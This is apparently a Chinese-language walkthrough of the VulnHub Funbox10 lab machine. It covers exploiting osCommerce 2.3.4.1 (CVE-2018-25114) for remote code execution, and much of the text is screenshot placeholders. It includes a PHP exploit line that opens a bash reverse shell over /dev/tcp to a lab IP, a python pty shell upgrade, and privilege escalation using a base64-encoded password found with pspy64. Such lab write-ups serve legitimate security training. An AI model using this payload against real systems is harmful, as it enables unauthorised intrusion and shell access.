Funbox：Under Construction!

项目地址：https://download.vulnhub.com/funbox/Funbox10.ova

是一个打包好的镜像文件

注意：导入 ovf 时一定要选择我已移动，否则没网

pasted_1788411403046_6aegx9.png

RCE

osCommerce Online Merchant 2.3.4.1（CVE-2018-25114）

访问 80 端口

pasted_1788411636910_zumko8.png

扫描目录发现有个 /catalog 目录，访问看看

pasted_1788412512237_c9dy77.png

发现是 osCommerce，搜索到一个历史 CVE

pasted_1788412602453_1fpzjj.png

改一下靶机地址

pasted_1788412792377_50zqwt.png

运行脚本

pasted_1788412858654_vm6hd2.png

回显了脚本中的 system("ls") 的执行结果

pasted_1788412901405_6h2f8a.png

修改脚本为反弹 Shell

1
payload += 'system("bash -c \'bash -i >& /dev/tcp/192.168.56.101/6666 0>&1\'");'    # this is where you enter you PHP payload

pasted_1788413291800_vxjfj0.png

提权

Python 升级为交互式 Shell

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

敏感信息泄露

使用 pspy64 发现一个可疑的脚本

pasted_1788413416014_fsdd70.png

Base64 解码拿到密码

pasted_1788413493253_z5a0pi.png

提权成功

pasted_1788413760484_bees8g.png